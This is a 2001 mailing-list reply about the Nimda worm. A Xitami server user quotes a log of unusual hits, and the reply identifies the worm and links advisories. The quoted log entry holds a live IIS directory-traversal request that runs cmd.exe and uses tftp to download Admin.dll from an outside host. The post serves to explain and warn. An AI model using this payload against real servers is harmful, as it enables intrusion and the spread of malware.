[Xitami] "GET /scripts/.......

[Brian {Hamilton Kelly}]

In message <3BA78D04.2260.B6922DE@localhost> "Michael" writes:

> Today I'm getting many thousands of hits from hundreds of IP's on a 
> single Win95 machine running only Xitami b5.  The log shows the 
> following...
> 
> 216.254.74.234 - - [18/Sep/2001:15:50:57 -0500] "GET 
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
> i%20216.254.74.234%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 
> 200 -1 "" ""
> 
> Most are just 404's trying to find root.exe or cmd.exe but some are like 
> the above.  Is it simply my turn this crap today?

It's a new IIS exploit:

New virus first detected Monday. Now called W32/Nimda.A@mm

http://www.nipc.gov/warnings/advisories/2001/01-021.htm

More info about the virus at
http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html

-- 
Brian {Hamilton Kelly}                                          bhk@dsl.co.uk
    "We have gone from a world of concentrated knowledge and wisdom to one of
    distributed ignorance.  And we know and understand less while being incr-
    easingly capable."              Prof. Peter Cochrane, formerly of BT Labs